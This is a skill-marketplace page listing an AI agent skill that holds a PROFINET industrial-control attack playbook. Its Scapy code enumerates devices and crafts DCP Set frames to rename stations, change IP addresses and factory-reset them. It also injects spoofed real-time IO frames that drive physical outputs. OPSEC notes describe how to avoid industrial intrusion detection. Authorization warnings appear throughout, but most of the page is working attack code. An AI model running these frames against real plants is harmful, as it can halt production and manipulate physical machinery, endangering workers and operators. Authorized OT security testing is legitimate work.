# Profinet

> PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.

- Skill: `purpleailab/profinet` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/profinet`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/profinet/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/profinet

---


# PROFINET Attack Playbook (EtherType 0x8892 / DCP)

PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. **The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it).** DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.

## SAFETY FIRST

DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to `BF` (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. **This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection.** DCP Identify (read) is safe.

## Prerequisites

- Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN).
- Wireshark with `pn_dcp` dissector (ships by default — filter: `pn_dcp`).
- Python with `scapy` for DCP crafting (or `python-profinet` library).

```bash
# Verify interface sees PROFINET frames
sudo tcpdump -i eth0 ether proto 0x8892 -c 20
# If frames appear: you are on the OT segment

# Install scapy (already on Kali)
pip install scapy

# python-profinet (alternative higher-level library)
pip install profinet
```

## Phase 1 — Discover: DCP Identify-All broadcast

DCP Identify-All is a Layer-2 broadcast to `01:0E:CF:00:00:00` (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.

### Wireshark passive discovery

```bash
# Capture DCP traffic — Identify requests and responses
sudo wireshark -i eth0 -f "ether proto 0x8892" -k
# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)
# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1
```

### Active DCP Identify-All broadcast (Scapy)

```python
from scapy.all import Ether, sendp, sniff
import struct, socket, time

PROFINET_ETHERTYPE = 0x8892
DCP_MULTICAST_MAC = "01:0e:cf:00:00:00"
IFACE = "eth0"  # replace with your OT interface

def build_dcp_identify_all(xid=1):
    """Build a PROFINET DCP Identify-All request frame."""
    # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)
    frame_id = struct.pack(">H", 0xFEFE)
    # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength
    dcp_header = struct.pack(">BBHHHH",
        0x05,   # ServiceID: Identify
        0x00,   # ServiceType: Request
        xid,    # XID
        0x0000, # Reserved
        0x0000, # ResponseDelay (0=immediate broadcast)
        0x0004, # DCPDataLength (4 bytes for the suboption block)
    )
    # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0
    dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000)

    payload = frame_id + dcp_header + dcp_block
    frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
    return frame

def dcp_identify_all(iface=IFACE, timeout=3):
    frame = build_dcp_identify_all()
    sendp(frame, iface=iface, verbose=False)
    print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...")

    responses = sniff(
        iface=iface,
        filter=f"ether proto {hex(PROFINET_ETHERTYPE)}",
        timeout=timeout,
        count=200,
    )
    devices = []
    for pkt in responses:
        raw = bytes(pkt.payload)
        frame_id = struct.unpack(">H", raw[:2])[0]
        if frame_id == 0xFEFE and len(raw) > 10:
            # This is a DCP response — parse it
            src_mac = pkt.src
            # Extract NameOfStation from block (simple heuristic parse)
            # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable
            devices.append({"mac": src_mac, "raw_len": len(raw)})
            print(f"  Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details")
    return devices

dcp_identify_all()
```

### Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation)

TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.

## Phase 2 — Device fingerprinting: DCP Get

DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor).

```python
from scapy.all import Ether, sendp, sniff
import struct

PROFINET_ETHERTYPE = 0x8892
IFACE = "eth0"

def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):
    """
    DCP Get Request for a specific block.
    option 0x01 suboption 0x01 = NameOfStation
    option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)
    option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)
    option 0x02 suboption 0x05 = DeviceOptions
    """
    frame_id = struct.pack(">H", 0xFEFD)  # 0xFEFD = DCP Get/Set
    dcp_header = struct.pack(">BBHHHH",
        0x03,          # ServiceID: Get
        0x00,          # ServiceType: Request
        xid,
        0x0000,
        0x0000,
        0x0004,        # DCPDataLength
    )
    dcp_block = struct.pack(">BBH", option, suboption, 0x0000)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# Get station name from device with known MAC
# frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01)
# sendp(frame, iface=IFACE, verbose=False)
# capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2)
```

## Phase 3 — Flash-LED (physical device location)

DCP Set with `Suboption=Signal` causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.

```python
def build_dcp_flash_led(dst_mac, xid=10):
    """DCP Set Signal — blink device LED (physical locate)."""
    frame_id = struct.pack(">H", 0xFEFD)
    # Block: Option=0x05 (Control), Suboption=0x03 (Signal)
    # BlockQualifier=0x0000, SignalValue=0x0100 (blink)
    dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100)
    dcp_data_len = len(dcp_block)
    dcp_header = struct.pack(">BBHHHH",
        0x04,  # ServiceID: Set
        0x00,  # ServiceType: Request
        xid,
        0x0000,
        0x0000,
        dcp_data_len,
    )
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE)
```

## Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)

> **STOP. All DCP Set operations below are write-class and require explicit scope authorization.**
> Station-name change and IP change immediately disrupt process communication.

### Station-name reassignment (process disruption)

When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to `BF` (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.

```python
def build_dcp_set_station_name(dst_mac, new_name, xid=20):
    """
    DCP Set NameOfStation.
    Option=0x01, Suboption=0x01 (NameOfStation).
    new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)
    """
    name_bytes = new_name.encode("ascii").lower()
    # Pad to even length
    if len(name_bytes) % 2:
        name_bytes += b"\x00"
    block_len = len(name_bytes)
    # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name
    dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes
    total_len = len(dcp_block)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    frame_id = struct.pack(">H", 0xFEFD)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE)
# After this, the original controller can no longer find "original-station-name"
# The device enters BF state and may stop responding to IO controller.
```

### IP address reassignment

```python
import ipaddress

def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):
    """
    DCP Set IPSuite.
    Option=0x01, Suboption=0x02.
    """
    ip_int  = int(ipaddress.IPv4Address(new_ip))
    sub_int = int(ipaddress.IPv4Address(new_subnet))
    gw_int  = int(ipaddress.IPv4Address(new_gateway))
    dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \
                struct.pack(">H", 0x0001) + \
                struct.pack(">III", ip_int, sub_int, gw_int)
    total_len = len(dcp_block)
    frame_id = struct.pack(">H", 0xFEFD)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE)
```

### Factory reset

Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.

```python
def build_dcp_factory_reset(dst_mac, xid=30):
    """
    DCP Set Control/FactoryReset.
    Option=0x05, Suboption=0x04.
    """
    dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000)
    total_len = len(dcp_block)
    frame_id = struct.pack(">H", 0xFEFD)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY — extremely disruptive:
# sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE)
```

## Phase 5 — PROFINET RT frame injection / cyclic IO spoofing

PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.

```bash
# Capture baseline cyclic IO traffic for a device pair
sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff
# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF
# Identify FrameID, CycleCounter pattern, DataLen for the target device
```

```python
from scapy.all import Ether, sendp
import struct, time

def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"):
    """
    Inject a PROFINET RT cyclic data frame.
    frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)
    cycle_counter: Increment to match expected sequence (replay detection hint)
    io_data: bytes — the cyclic process data payload (output values for the IO-device)
    """
    # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)
    rt_header = struct.pack(">H", frame_id)
    rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00)
    # DataStatus 0x35 = valid + running + no problem
    payload = rt_header + io_data + rt_footer
    frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload
    sendp(frame, iface=iface, verbose=False)

# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY
# io_data = b"\x00" * 4  # size must match actual IO module output size
# inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data)
```

> Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data.

## Common findings

| Finding | MITRE | Impact |
|---|---|---|
| DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor/firmware/station names |
| DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt |
| DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime |
| PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation |
| Flat IT/OT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN |
| Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) |

## Evidence

```python
kg_add_node(
    kind="finding",
    label="PROFINET DCP unauthenticated device enumeration",
    props={
        "key": f"profinet-dcp::{iface}",
        "protocol": "profinet-dcp",
        "ethertype": "0x8892",
        "devices_found": device_count,
        "station_names": station_names_list,  # list of discovered names
        "dcp_set_accepted": False,  # set True only after confirmed write-scope test
        "source": "scapy-dcp-identify-all",
        "l2_segment": iface,
    },
)
```

## ZFP (two-method evidence)

1. Wireshark capture (`.pcap`) containing DCP Identify responses, showing at least one device with decoded `NameOfStation`, `IPSuite`, and `VendorID` blocks.
2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.

If write testing was authorized: include DCP Set response frame showing `BlockError=0x00` (Set accepted) and a follow-up DCP Get confirming the new station name or IP.

## OPSEC notes

- DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.
- DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.
- Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.
- Name/IP reassignment takes effect immediately. There is no "preview" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.
- PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering `DataStatus` watchdog alarms on the IO-device.
- Always record original station names and IPs before any DCP Set — document them in evidence for restoration.
- Cross-reference `s7comm` skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read/write.

## References

- PROFINET Specification (IEC 61158-5-10, IEC 61784-2) — profibus.com/technology/profinet/
- Wireshark `pn_dcp` and `pn_rt` dissectors — Wireshark PROFINET protocol documentation
- Siemens Security Bulletins (SSA-*) — cert.siemens.com
- ICS-CERT PROFINET advisories — cisa.gov/uscert/ics/advisories
- "Hacking PROFINET" — Alexander Bolshev, Black Hat 2013
- Scapy Layer 2 documentation — scapy.readthedocs.io
- python-profinet library — github.com/wandel/python-profinet
- Claroty PROFINET research briefs — claroty.com/research

